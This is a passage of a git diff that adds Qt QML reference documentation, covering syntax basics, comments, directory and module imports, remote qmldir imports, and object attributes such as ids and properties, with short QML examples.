+ \li \l{qtqml-typesystem-topic.html#javascript-types}{JavaScript Types}
+ \li \l{qtqml-typesystem-objecttypes.html}{QML Object Types}
+ \list
+ \li \l{qtqml-documents-definetypes.html}{Defining Object Types from QML}
+ \li \l{qtqml-cppintegration-definetypes.html}{Defining Object Types from C++}
+ \endlist
+ \endlist
+
+ \li \l{qtqml-modules-topic.html}{QML Modules}
+ \list
+ \li \l{qtqml-modules-qmldir.html}{Specifying A QML Module}
+ \li \l{qtqml-modules-topic.html#supported-qml-module-types}{Supported QML Module Types}
+ \list
+ \li \l{qtqml-modules-identifiedmodules.html}{Identified Modules}
+ \li \l{qtqml-modules-legacymodules.html}{Legacy Modules}
+ \endlist
+ \li \l{qtqml-modules-cppplugins.html}{Providing Types and Functionality in a C++ Plugin}
+ \endlist
+
+ \li \l{qtqml-documents-topic.html}{QML Documents}
+ \list
+ \li \l{qtqml-documents-structure.html}{Structure of a QML Document}
+ \li \l{Syntax of the QML Language}
+ \li \l{qtqml-documents-definetypes.html}{Defining Object Types through QML Documents}
+ \list
+ \li \l{qtqml-documents-definetypes.html#defining-an-object-type-with-a-qml-file}{Defining an Object Type with a QML File}
+ \li \l{qtqml-documents-definetypes.html#accessible-attributes-of-custom-types}{Accessible Attributes of Custom Types}
+ \endlist
+ \li \l{qtqml-documents-networktransparency.html}{Resource Loading and Network Transparency}
+ \li \l{qtqml-documents-scope.html}{Scope and Naming Resolution}
+ \endlist
+\endlist
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/syntax/basics.qdoc b/src/qml/doc/src/qmllanguageref/syntax/basics.qdoc
new file mode 100644
index 0000000000..cdfab3cd3f
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/syntax/basics.qdoc
@@ -0,0 +1,190 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-syntax-basics.html
+\title QML Syntax Basics
+\brief Description of the basics of QML syntax
+
+QML is a declarative language that enables objects to be defined in terms of their attributes
+and how they relate and respond to changes in other objects. In contrast to imperative code, where changes in attributes and behavior are expressed through a series of statements that are processed step by step, the declarative QML syntax integrates attribute and behavioral changes directly into the definitions of individual objects.
+
+QML source code is generally loaded by the engine through QML \e documents, which are
+standalone documents of QML code. These can be used to define \l {QML Object Types}{QML object types} that can then be reused throughout an application.
+
+
+\section1 Import Statements
+
+A QML document may have one or more imports at the top of the file.
+An import can be any one of:
+
+\list
+\li a versioned namespace into which types have been registered (e.g., by a plugin)
+\li a relative directory which contains type-definitions as QML documents
+\li a JavaScript file
+\endlist
+
+JavaScript file imports must be qualified when imported, so that the properties and methods they provide can be accessed.
+
+The generic form of the various imports are as follows:
+\list
+\li \tt{import Namespace VersionMajor.VersionMinor}
+\li \tt{import Namespace VersionMajor.VersionMinor as SingletonTypeIdentifier}
+\li \tt{import "directory"}
+\li \tt{import "file.js" as ScriptIdentifier}
+\endlist
+
+Examples:
+\list
+\li \tt{import QtQuick 2.0}
+\li \tt{import QtQuick.LocalStorage 2.0 as Database}
+\li \tt{import "../privateComponents"}
+\li \tt{import "somefile.js" as Script}
+\endlist
+
+Please see the \l{qtqml-syntax-imports.html}{QML Syntax - Import Statements}
+documentation for in-depth information about QML imports.
+
+
+\keyword qml-object-declarations
+\section1 Object Declarations
+
+Syntactically, a block of QML code defines a tree of QML objects to be created. Objects are
+defined using \e {object declarations} that describe the type of object to be created as well
+as the attributes that are to be given to the object. Each object may also declare child objects
+using nested object declarations.
+
+An object declaration consists of the name of its object type, followed by a set of curly braces. All attributes and child objects are then declared within these braces.
+
+Here is a simple object declaration:
+
+\qml
+Rectangle {
+ width: 100
+ height: 100
+ color: "red"
+}
+\endqml
+
+This declares an object of type \l Rectangle, followed by a set of curly braces that encompasses the attributes defined for that object. The \l Rectangle type is a type made available by the \c QtQuick module, and the attributes defined in this case are the values of the rectangle's \c width, \c height and \c color properties. (These are properties made available by the \l Rectangle type, as described in the \l Rectangle documentation.)
+
+The above object can be loaded by the engine if it is part of a \l{qtqml-documents-topic.html}{QML document}. That is, if the source code is complemented with \e import statement that imports the \c QtQuick module (to make the \l Rectangle type available), as below:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 100
+ height: 100
+ color: "red"
+}
+\endqml
+
+When placed into a \c .qml file and loaded by the QML engine, the above code creates a \l Rectangle object using the \l Rectangle type supplied by the \c QtQuick module:
+
+\image qtqml-syntax-basics-object-declaration.png
+
+\note If an object definition only has a small number of properties, it can be written on a single line like this, with the properties separated by semi-colons:
+
+\qml
+Rectangle { width: 100; height: 100; color: "red" }
+\endqml
+
+Obviously, the \l Rectangle object declared in this example is very simple indeed, as it defines nothing more than a few property values. To create more useful objects, an object declaration may define many other types of attributes: these are discussed in the \l{qtqml-syntax-objectattributes.html}{QML Object Attributes} documentation. Additionally, an object declaration may define child objects, as discussed below.
+
+
+\section2 Child Objects
+
+Any object declaration can define child objects through nested object declarations. In this way, \b {any object declaration implicitly declares an object tree that may contain any number of child objects}.
+
+For example, the \l Rectangle object declaration below includes a \l Gradient object declaration,
+which in turn contains two \l GradientStop declarations:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 100
+ height: 100
+
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "yellow" }
+ GradientStop { position: 1.0; color: "green" }
+ }
+}
+\endqml
+
+When this code is loaded by the engine, it creates an object tree with a \l Rectangle object at the root; this object has a \l Gradient child object, which in turn has two \l GradientStop children.
+
+Note, however, that this is a parent-child relationship in the context of the QML object tree, not
+in the context of the visual scene. The concept of a parent-child relationship in a visual scene is provided by the \l Item type from the \c QtQuick module, which is the base type for most QML types, as most QML objects are intended to be visually rendered. For example, \l Rectangle and \l Text are both \l {Item}-based types, and below, a \l Text object has been declared as a visual child of a \l Rectangle object:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 200
+ height: 200
+ color: "red"
+
+ Text {
+ anchors.centerIn: parent
+ text: "Hello, QML!"
+ }
+}
+\endqml
+
+When the \l Text object refers to its \l {Item::parent}{parent} value in the above code, it is referring to its \e {visual parent}, not the parent in the object tree. In this case, they are one and the same: the \l Rectangle object is the parent of the \l Text object in both the context of the QML object tree as well as the context of the visual scene. However, while the \l {Item::parent}{parent} property can be modified to change the visual parent, the parent of an object in the context of the object tree cannot be changed from QML.
+
+(Additionally, notice that the \l Text object has been declared without assigning it to a property of the \l Rectangle, unlike the earlier example which assigned a \l Gradient object to the rectangle's \c gradient property. This is because the \l {Item::children}{children} property of \l Item has been set as the type's \l {qtqml-syntax-objectattributes.html#default-properties}{default property} to enable this more convenient syntax.)
+
+See the \l{qtquick-visualcanvas-visualparent.html}{visual parent} documentation for more information on the concept of visual parenting with the \l Item type.
+
+
+\section1 Comments
+
+The syntax for commenting in QML is similar to that of JavaScript:
+
+\list
+\li Single line comments start with // and finish at the end of the line.
+\li Multiline comments start with /* and finish with *\/
+\endlist
+
+\snippet qml/comments.qml 0
+
+Comments are ignored by the engine when processing QML code. They are useful for explaining what a section of code is doing, whether for reference at a later date or for explaining the implementation to others.
+
+Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems.
+
+\qml
+ Text {
+ text: "Hello world!"
+ //opacity: 0.5
+ }
+\endqml
+
+In the above example, the \l Text object will have normal opacity, since the line opacity: 0.5 has been turned into a comment.
+*/
diff --git a/src/qml/doc/src/qmllanguageref/syntax/directoryimports.qdoc b/src/qml/doc/src/qmllanguageref/syntax/directoryimports.qdoc
new file mode 100644
index 0000000000..7a6fb58c27
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/syntax/directoryimports.qdoc
@@ -0,0 +1,203 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-syntax-directoryimports.html
+\title Importing QML Document Directories
+\brief Description of directory import statements in QML
+
+A local directory of QML files can be imported without any additional setup or
+configuration. A remote directory of QML files can also be imported, but
+requires a directory listing \c qmldir file to exist. A local directory may
+optionally contain a directory listing \c qmldir file in order to define the
+type names which should be provided to clients which import the directory, and
+to specify JavaScript resources which should be made available to importers.
+
+
+\section1 Local Directory Imports
+
+Any QML file on the local file system can import a local directory as using an
+import statement that refers to the directory's absolute or relative file
+system path, enabling the file to use the \l{qtqml-typesystem-objecttypes.html}
+{object types} defined within that directory.
+
+If the local directory contains a directory listing \c qmldir file, the types
+will be made available with the type names specified in the \c qmldir file;
+otherwise, they will be made available with type names derived from the
+filenames of the QML documents. Only filenames beginning with an uppercase
+letter and ending with ".qml" will be exposed as types if no \c qmldir file
+is specified in the directory.
+
+\section2 An Example
+
+Consider the following QML project directory structure. Under the top level directory \c myapp,
+there are a set of common UI components in a sub-directory named \c mycomponents, and the main
+application code in a sub-directory named \c main, like this:
+
+\code
+myapp
+ |- mycomponents
+ |- CheckBox.qml
+ |- DialogBox.qml
+ |- Slider.qml
+ |- main
+ |- application.qml
+\endcode
+
+The \c main/application.qml file can import the \c mycomponents directory using
+the relative path to that directory, allowing it to use the QML object types
+defined within that directory:
+
+\qml
+import "../mycomponents"
+
+DialogBox {
+ CheckBox {
+ // ...
+ }
+ Slider {
+ // ...
+ }
+}
+\endqml
+
+The directory may be imported into a qualified local namespace, in which case
+uses of any types provided in the directory must be qualified:
+
+\qml
+import "../mycomponents" as MyComponents
+
+MyComponents.DialogBox {
+ // ...
+}
+\endqml
+
+The ability to import a local directory is convenient for cases such as
+in-application component sets and application prototyping, although any code
+that imports such modules must must update their relevant \c import statements
+if the module directory moves to another location. This can be avoided if
+\l{qtqml-modules-identifiedmodules.html}{QML modules} are used instead,
+as an installed module is imported with a unique identifier string rather than
+a file system path.
+
+
+\section1 Remotely Located Directories
+
+A directory of QML files can also be imported from a remote location if the
+directory contains a directory listing \c qmldir file.
+
+For example, if the \c myapp directory in the previous example was hosted at
+"http://www.my-example-server.com", and the \c mycomponents directory
+contained a \c qmldir file defined as follows:
+
+\code
+CheckBox CheckBox.qml
+DialogBox DialogBox.qml
+Slider Slider.qml
+\endcode
+
+Then, the directory could be imported using the URL to the remote
+\c mycomponents directory:
+
+\qml
+import "http://www.my-example-server.com/myapp/mycomponents"
+
+DialogBox {
+ CheckBox {
+ // ...
+ }
+ Slider {
+ // ...
+ }
+}
+\endqml
+
+Note that when a file imports a directory over a network, it can only access QML
+and JavaScript files specified in the \c qmldir file located in the directory.
+
+\warning When importing directories from a remote server, developers should
+always be careful to only load directories from trusted sources to avoid
+loading malicious code.
+
+
+\section1 Directory Listing qmldir Files
+
+A directory listing \c qmldir file distinctly different from a
+\l{qtqml-modules-qmldir.html}{module definition qmldir file}. A directory
+listing \c qmldir file allows a group of QML documents to be quickly and easily
+shared, but it does not define a type namespace into which the QML object types
+defined by the documents are registered, nor does it support versioning of
+those QML object types.
+
+The syntax of a directory listing \c qmldir file is as follows:
+\table
+ \header
+ \li Command
+ \li Syntax
+ \li Description
+
+ \row
+ \li Object Type Declaration
+ \li <TypeName> <FileName>
+ \li An object type declaration allows a QML document to be exposed with
+ the given \c <TypeName>.
+
+ Example:
+ \code
+RoundedButton RoundedBtn.qml
+ \endcode
+
+ \row
+ \li Internal Object Type Declaration
+ \li internal <TypeName> <FileName>
+ \li An internal object type declaration allows a QML document to be
+ registered as a type which becomes available only to the other
+ QML documents contained in the directory import. The internal
+ type will not be made available to clients who import the directory.
+
+ Example:
+ \code
+internal HighlightedButton HighlightedBtn.qml
+ \endcode
+
+ \li JavaScript Resource Declaration
+ \li <Identifier> <FileName>
+ \li A JavaScript resource declaration allows a JavaScript file to be
+ exposed via the given identifier.
+
+ Example:
+ \code
+MathFunctions mathfuncs.js
+ \endcode
+\endtable
+
+A local file system directory may optionally include a \c qmldir file. This
+allows the engine to only expose certain QML types to clients who import the
+directory. Additionally, JavaScript resources in the directory are not exposed
+to clients unless they are declared in a \c qmldir file.
+
+*/
+
diff --git a/src/qml/doc/src/qmllanguageref/syntax/imports.qdoc b/src/qml/doc/src/qmllanguageref/syntax/imports.qdoc
new file mode 100644
index 0000000000..1496a1e5c9
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/syntax/imports.qdoc
@@ -0,0 +1,308 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-syntax-imports.html
+\title Import Statements
+\brief Description of import statements in QML
+
+\section1 Syntax of an Import Statement
+
+An import statement allows clients to tell the engine which modules, JavaScript
+resources and component directories are used within a QML document. The types
+which may be used within a document depends on which modules, resources and
+directories are imported by the document.
+
+\section2 Import Types
+
+There are three different types of imports. Each import type has a slightly
+different syntax, and different semantics apply to different import types.
+
+\section3 Module (Namespace) Imports
+
+The most common type of import is a module import. Clients can import
+\l{qtqml-modules-identifiedmodules.html}{QML modules} which register QML object
+types and JavaScript resources into a given namespace.
+
+The generic form of a module import is as follows:
+\code
+import <ModuleIdentifier> <Version.Number> [as <Qualifier>]
+\endcode
+
+\list
+ \li The \c <ModuleIdentifier> is an identifier specified in dotted URI
+ notation, which uniquely identifies the type namespace provided by the
+ module.
+ \li The \c <Version.Number> is a version of the form
+ \c {MajorVersion.MinorVersion} which specifies which definitions of
+ various object types and JavaScript resources will be made available due
+ to the import.
+ \li The \c <Qualifier> is an optional local namespace identifier into which
+ the object types and JavaScript resources provided by the module will be
+ installed, if given. If omitted, the object types and JavaScript
+ resources provided by the module will be installed into the global
+ namespace.
+\endlist
+
+An example of an unqualified module import is as follows:
+\code
+import QtQuick 2.0
+\endcode
+
+This import allows the use of all of the types provided by the \c QtQuick
+module without needing to specify a qualifier. For example, the client code to
+create a rectangle is as follows:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ width: 200
+ height: 100
+ color: "red"
+}
+\endqml
+
+An example of a qualified module import is as follows:
+\code
+import QtQuick 2.0 as Quick
+\endcode
+
+This import allows multiple modules which provide conflicting type names to be
+imported at the same time, however since each usage of a type provided by a
+module which was imported into a qualified namespace must be preceded by the
+qualifier, the conflict is able to be resolved unambiguously by the QML engine.
+
+An example of client code which creates a rectangle after using a qualified
+module import is as follows:
+
+\qml
+import QtQuick 2.0 as Quick
+
+Quick.Rectangle {
+ width: 200
+ height: 100
+ color: "red"
+}
+\endqml
+
+For more information about qualified imports, see the upcoming section on
+\l{Importing Into A Qualified Local Namespace}.
+
+Note that if a QML document does not import a module which provides a
+particular QML object type, but attempts to use that object type anyway,
+an error will occur. For example, the following QML document does not
+import \c QtQuick and thus attempting to use the \c Rectangle type will fail:
+
+\qml
+Rectangle {
+ width: 200
+ height: 100
+ color: "red"
+}
+\endqml
+
+In this case, the engine will emit an error and refuse to load the file.
+
+\section4 Non-module Namespace Imports
+
+Types can also be registered into namespaces directly via the various
+registration functions in C++ (such as qmlRegisterType()). The types which
+have been registered into a namespace in this way may be imported by importing
+the namespace, as if the namespace was a module identifier.
+
+This is most common in client applications which define their own QML object
+types in C++ and register them with the QML type system manually.
+
+\section4 Importing into a Qualified Local Namespace
+
+The \c import statement may optionally use the \c as keyword to specify that
+the types should be imported into a particular document-local namespace. If a
+namespace is specified, then any references to the types made available by the
+import must be prefixed by the local namespace qualifier.
+
+Below, the \c QtQuick module is imported into the namespace "CoreItems". Now, any
+references to types from the \c QtQuick module must be prefixed with the
+\c CoreItems name:
+
+\qml
+import QtQuick 2.0 as CoreItems
+
+CoreItems.Rectangle {
+ width: 100; height: 100
+
+ CoreItems.Text { text: "Hello, world!" }
+
+ // WRONG! No namespace prefix - the Text type won't be found
+ Text { text: "Hello, world!" }
+}
+\endqml
+
+A namespace acts as an identifier for a module within the scope of the file.
+The namespace does not become an attribute of the root object that can be
+referred to externally as can be done with properties, signals and methods.
+
+The namespaced import is useful if there is a requirement to use two QML types
+that have the same name but are located in different modules. In this case the
+two modules can be imported into different namespaces to ensure the code is
+referring to the correct type:
+
+\qml
+import QtQuick 2.0 as CoreItems
+import "../textwidgets" as MyModule
+
+CoreItems.Rectangle {
+ width: 100; height: 100
+
+ MyModule.Text { text: "Hello from my custom text item!" }
+ CoreItems.Text { text: "Hello from Qt Quick!" }
+}
+\endqml
+
+Note that multiple modules can be imported into the same namespace in the same
+way that multiple modules can be imported into the global namespace. For example:
+
+\snippet qml/imports/merged-named-imports.qml imports
+
+\section3 Directory Imports
+
+A directory which contains QML documents may also be imported directly in a
+QML document. This provides a simple way for QML types to be segmented into
+reusable groupings: directories on the filesystem.
+
+The generic form of a directory import is as follows:
+\qml
+import "<DirectoryPath>" [as <Qualifier>]
+\endqml
+
+\note Import paths are network transparent: applications can import documents
+from remote paths just as simply as documents from local paths. See the general
+URL resolution rules for \l{qtqml-documents-networktransparency.html}
+{Network Transparency} in QML documents. If the directory is remote, it must
+contain a \l{qtqml-syntax-directoryimports.html#directory-listing-qmldir-files}
+{directory import listing qmldir file} as the QML engine cannot determine
+the contents of a remote directory if that \c qmldir file does not exist.
+
+Similar semantics for the \c <Qualifier> apply to directory imports as for
+module imports; for more information on the topic, please see the previous
+section about \l{Importing into a Qualified Local Namespace}.
+
+For more information about directory imports, please see the in-depth
+documentation about \l{qtqml-syntax-directoryimports.html}{directory imports}.
+
+\section3 JavaScript Resource Imports
+
+JavaScript resources may be imported directly in a QML document. Every
+JavaScript resource must have an identifier by which it is accessed.
+
+The generic form of a JavaScript resource import is as follows:
+\code
+import "<JavaScriptFile>" as <Identifier>
+\endcode
+
+Note that the \c <Identifier> must be unique within a QML document, unlike the
+local namespace qualifier which can be applied to module imports.
+
+\section4 JavaScript Resources from Modules
+
+Javascript files can be provided by modules, by adding identifier
+definitions to the \c qmldir file which specifies the module.
+
+For example, if the \c projects.MyQMLProject.MyFunctions module is specified
+with the following \c qmldir file, and installed into the QML import path:
+\code
+module projects.MyQMLProject.MyFunctions
+SystemFunctions 1.0 SystemFunctions.js
+UserFunctions 1.0 UserFunctions.js
+\endcode
+
+a client application is able to import the JavaScript resources declared in the
+module by importing the module and using the identifier associated with a
+declared resource:
+
+\qml
+import QtQuick 2.0
+import projects.MyQMLProject.MyFunctions 1.0
+
+Item {
+ Component.onCompleted: { SystemFunctions.cleanUp(); }
+}
+\endqml
+
+If the module was imported into a document-local namespace, the JavaScript
+resource identifiers must be prefixed with the namespace qualifier in order
+to be used:
+
+\qml
+import QtQuick 2.0
+import projects.MyQMLProject.MyFunctions 1.0 as MyFuncs
+import org.example.Functions 1.0 as TheirFuncs
+
+Item {
+ Component.onCompleted: {
+ MyFuncs.SystemFunctions.cleanUp();
+ TheirFuncs.SystemFunctions.shutdown();
+ }
+}
+\endqml
+
+\section4 Further Information
+
+For more information about JavaScript resources, please see the documentation
+about \l{qtqml-javascript-resources.html}
+{defining JavaScript resources in QML}, and for more information about how
+to import JavaScript resources, and how imports can be used from within
+JavaScript resources, please see the in-depth documentation about
+\l{qtqml-javascript-imports.html}{importing JavaScript resources in QML}.
+
+
+\section1 QML Import Path
+
+When an \l{qtqml-modules-installedmodules.html}{installed module} is imported,
+the QML engine searches the \e{import path} for a matching module.
+
+This import path, as returned by QQmlEngine::importPathList(), defines the
+default locations to be searched by the engine. By default, this list contains:
+
+\list
+\li The directory of the current file
+\li The location specified by QLibraryInfo::Qml2ImportsPath
+\li Paths specified by the \c QML2_IMPORT_PATH environment variable
+\endlist
+
+Additional import paths can be added through QQmlEngine::addImportPath() or the
+\c QML2_IMPORT_PATH environment variable. When running the
+\l{Prototyping with qmlscene}{qmlscene} tool, you can also use the \c -I option
+to add an import path.
+
+
+\section1 Debugging
+
+The \c QML_IMPORT_TRACE environment variable can be useful for debugging
+when there are problems with finding and loading modules. See
+\l{Debugging module imports} for more information.
+
+*/
diff --git a/src/qml/doc/src/qmllanguageref/syntax/objectattributes.qdoc b/src/qml/doc/src/qmllanguageref/syntax/objectattributes.qdoc
new file mode 100644
index 0000000000..f336d14b14
--- /dev/null
+++ b/src/qml/doc/src/qmllanguageref/syntax/objectattributes.qdoc
@@ -0,0 +1,983 @@
+/****************************************************************************
+**
+** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/legal
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and Digia. For licensing terms and
+** conditions see http://qt.digia.com/licensing. For further information
+** use the contact form at http://qt.digia.com/contact-us.
+**
+** GNU Free Documentation License Usage
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file. Please review the following information to ensure
+** the GNU Free Documentation License version 1.3 requirements
+** will be met: http://www.gnu.org/copyleft/fdl.html.
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qtqml-syntax-objectattributes.html
+\title QML Object Attributes
+\brief Description of QML object type attributes
+
+Every QML object type has a defined set of attributes. Each instance of an
+object type is created with the set of attributes that have been defined for
+that object type. There are several different kinds of attributes which
+can be specified, which are described below.
+
+\section1 Attributes in Object Declarations
+
+An \l{qtqml-syntax-basics.html#object-declarations}{object declaration} in a
+QML document defines a new type. It also declares an object hierarchy that
+will be instantiated should an instance of that newly defined type be created.
+
+The set of QML object-type attribute types is as follows:
+
+\list
+\li the \e id attribute
+\li property attributes
+\li signal attributes
+\li signal handler attributes
+\li method attributes
+\li attached properties and attached signal handler attributes
+\endlist
+
+These attributes are discussed in detail below.
+
+\section2 The \e id Attribute
+
+Every QML object type has exactly one \e id attribute. This attribute is
+provided by the language itself, and cannot be redefined or overridden by any
+QML object type.
+
+A value may be assigned to the \e id attribute of an object instance to allow
+that object to be identified and referred to by other objects. This \c id must
+begin with a lower-case letter or an underscore, and cannot contain characters
+other than letters, numbers and underscores.
+
+Below is a \l TextInput object and a \l Text object. The \l TextInput object's
+\c id value is set to "myTextInput". The \l Text object sets its \c text
+property to have the same value as the \c text property of the \l TextInput,
+by referring to \c myTextInput.text. Now, both items will display the same
+text:
+
+\qml
+import QtQuick 2.0
+
+Column {
+ width: 200; height: 200
+
+ TextInput { id: myTextInput; text: "Hello World" }
+
+ Text { text: myTextInput.text }
+}
+\endqml
+
+An object can be referred to by its \c id from anywhere within the
+\e {component scope} in which it is declared. Therefore, an \c id value must
+always be unique within its component scope. See
+\l{qtqml-documents-scope.html}{Scope and Naming Resolution} for more
+information.
+
+Once an object instance is created, the value of its \e id attribute cannot
+be changed. While it may look like an ordinary property, the \c id attribute
+is \b{not} an ordinary \c property attribute, and special semantics apply
+to it; for example, it is not possible to access \c myTextInput.id in the above
+example.
+
+
+\section2 Property Attributes
+
+A property is an attribute of an object that can be assigned a static value
+or bound to a dynamic expression. A property's value can be read by other
+objects. Generally it can also be modified by another object, unless a
+particular QML type has explicitly disallowed this for a specific property.
+
+\section3 Defining Property Attributes
+
+A property may be defined for a type in C++ by registering a
+Q_PROPERTY of a class which is then registered with the QML type system.
+Alternatively, a custom property of an object type may be defined in
+an object declaration in a QML document with the following syntax:
+
+\code
+ [default] property <propertyType> <propertyName>
+\endcode
+
+In this way an object declaration may \l {Defining Object Types from QML}
+{expose a particular value} to outside objects or maintain some internal
+state more easily.
+
+Property names must begin with a lower case letter and can only contain
+letters, numbers and underscores. \l {JavaScript Reserved Words}
+{JavaScript reserved words} are not valid property names. The \c default
+keyword is optional, and modifies the semantics of the property being declared.
+See the upcoming section on \l {Default Properties}{default properties} for
+more information about the \c default property modifier.
+
+Declaring a custom property implicitly creates a value-change
+\l{Signal attributes}{signal} for that property, as well as an associated
+\l{Signal handler attributes}{signal handler} called
+\e on<PropertyName>Changed, where \e <PropertyName> is the name of the
+property, with the first letter capitalized.
+
+For example, the following object declaration defines a new type which
+derives from the Rectangle base type. It has two new properties,
+with a \l{Signal handler attributes}{signal handler} implemented for one of
+those new properties:
+
+\qml
+Rectangle {
+ property color previousColor
+ property color nextColor
+ onNextColorChanged: console.log("The next color will be: " + nextColor.toString())
+}
+\endqml
+
+\section4 Valid Types in Custom Property Definitions
+
+Any of the \l {QML Basic Types} aside from the \l enumeration type can be used
+as custom property types. For example, these are all valid property declarations:
+
+\qml
+Item {
+ property int someNumber
+ property string someString
+ property url someUrl
+}
+\endqml
+
+(Enumeration values are simply whole number values and can be referred to with
+the \l int type instead.)
+
+Some basic types are provided by the \c QtQuick module and thus cannot be used
+as property types unless the module is imported. See the \l {QML Basic Types}
+documentation for more details.
+
+Note the \l var basic type is a generic placeholder type that can hold any
+type of value, including lists and objects:
+
+\code
+property var someNumber: 1.5
+property var someString: "abc"
+property var someBool: true
+property var someList: [1, 2, "three", "four"]
+property var someObject: Rectangle { width: 100; height: 100; color: "red" }
+\endcode
+
+Additionally, any \l{QML Object Types}{QML object type} can be used as a
+property type. For example:
+
+\code
+property Item someItem
+property Rectangle someRectangle
+\endcode
+
+This applies to \l {Defining Object Types from QML}{custom QML types} as well.
+If a QML type was defined in a file named \c ColorfulButton.qml (in a directory
+which was then imported by the client), then a property of type
+\c ColorfulButton would also be valid.
+
+
+\section3 Values of Property Attributes
+
+The value of a property of an object instance may specified in an
+object declaration in two separate ways:
+\list
+ \li a value assignment on initialization
+ \li an imperative value assignment
+\endlist
+
+The value in either case may be either a binding expression or a static value.
+
+\section4 Value Assignment on Initialization
+
+The syntax for assigning a value to a property on initialization is:
+
+\code
+ <propertyName> : <value>
+\endcode
+
+An initialization value assignment may be combined with a property definition
+in an object declaration, if desired. In that case, the syntax of the property
+definition becomes:
+
+\code
+ [default] property <propertyType> <propertyName> : <value>
+\endcode
+
+An example of property value initialization follows:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ color: "red"
+ property color nextColor: "blue" // combined property declaration and initialization
+}
+\endqml
+
+\section4 Imperative Value Assignment
+
+An imperative value assignment is where a property value (either static value
+or binding expression) is assigned to a property from imperative JavaScript
+code. The syntax of an imperative value assignment is just the JavaScript
+assignment operator, as shown below:
+
+\code
+ [<objectId>.]<propertyName> = value
+\endcode
+
+An example of imperative value assignment follows:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ id: rect
+ Component.onCompleted: {
+ rect.color = "red"
+ }
+}
+\endqml
+
+\section4 Valid Property Values
+
+As previously noted, there are two kinds of values which may be assigned to a
+property: static values, and binding expression values.
+
+\table
+ \header
+ \li Kind
+ \li Semantics
+
+ \row
+ \li Static Value
+ \li A value whose type matches (or can be converted to) that of
+ the property may be assigned to the property.
+
+ \row
+ \li Binding Expression
+ \li A JavaScript expression which may be evaluated, whose result is a
+ value whose type matches (or can be converted to) that of the
+ property may be assigned to the property. The expression will be
+ automatically re-evaluated (and the new result assigned to the
+ property) by the QML engine should the value of any properties accessed
+ during evaluation change.
+\endtable
+
+An example of these two types of values being assigned to properties follows:
+
+\qml
+import QtQuick 2.0
+
+Rectangle {
+ // both of these are static value assignments on initialization
+ width: 400
+ height: 200
+
+ Rectangle {
+ // both of these are binding expression value assignments on initialization
+ width: parent.width / 2
+ height: parent.height
+ }
+}
+\endqml
+
+In many cases, a string value may be converted automatically to a
+different type of value, as QML provides string converters for many property
+types (thus you can assign the string \c "red" to a color property).
+
+It is important to note that in order to assign a binding expression to a
+property in an imperative value assignment, the right-hand-side of
+the assignment (the binding expression) must be a function returned by the
